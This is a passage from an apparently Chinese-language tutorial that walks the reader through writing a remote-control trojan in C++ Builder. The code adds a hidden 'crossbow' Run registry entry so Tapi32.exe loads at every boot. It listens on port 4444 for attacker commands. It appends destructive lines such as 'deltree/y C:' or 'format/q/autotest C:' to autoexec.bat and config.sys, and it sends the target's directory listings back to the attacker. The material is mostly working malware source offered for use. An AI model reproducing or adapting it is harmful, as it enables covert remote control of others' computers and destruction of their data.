Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有「crossbow」字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}

好,FormCreate过程完成了,这样每次启动都可以自动载入Tapi32.exe,并且在「关闭程序」对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控制项,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定埠,处于服务器工作状态。再将Port填入4444,这是木马的埠号,当然你也可以用别的。但是你要注意不要用1024以下的低端埠,因为这样不但可能会与基本网络协议使用的埠相冲突,而且很容易被发觉,因此尽量使用1024以上的高端埠(不过也有这样一种技术,它故意使用特定埠,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控制项使用的埠,是21号埠,这是FTP协议的专用控制埠(FTP Control Port);同理TNMSMTP的25号埠也是SMTP协议的专用埠。
再选中ServerSocket控制项,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是「edit conf」
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回「Fail By Open File」的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket->SendText("Sucess");
file://然后发回「Success」的成功信息
}
}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用「dir」命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是「dir」
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name");
file://返回「Fail By Open DIR's Name」信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!");
file://返回「Fail By Your DIR's Name」信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就发回「Fail By Open File」的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是「\」,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上「\」字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加「\」
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://「&」字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SY...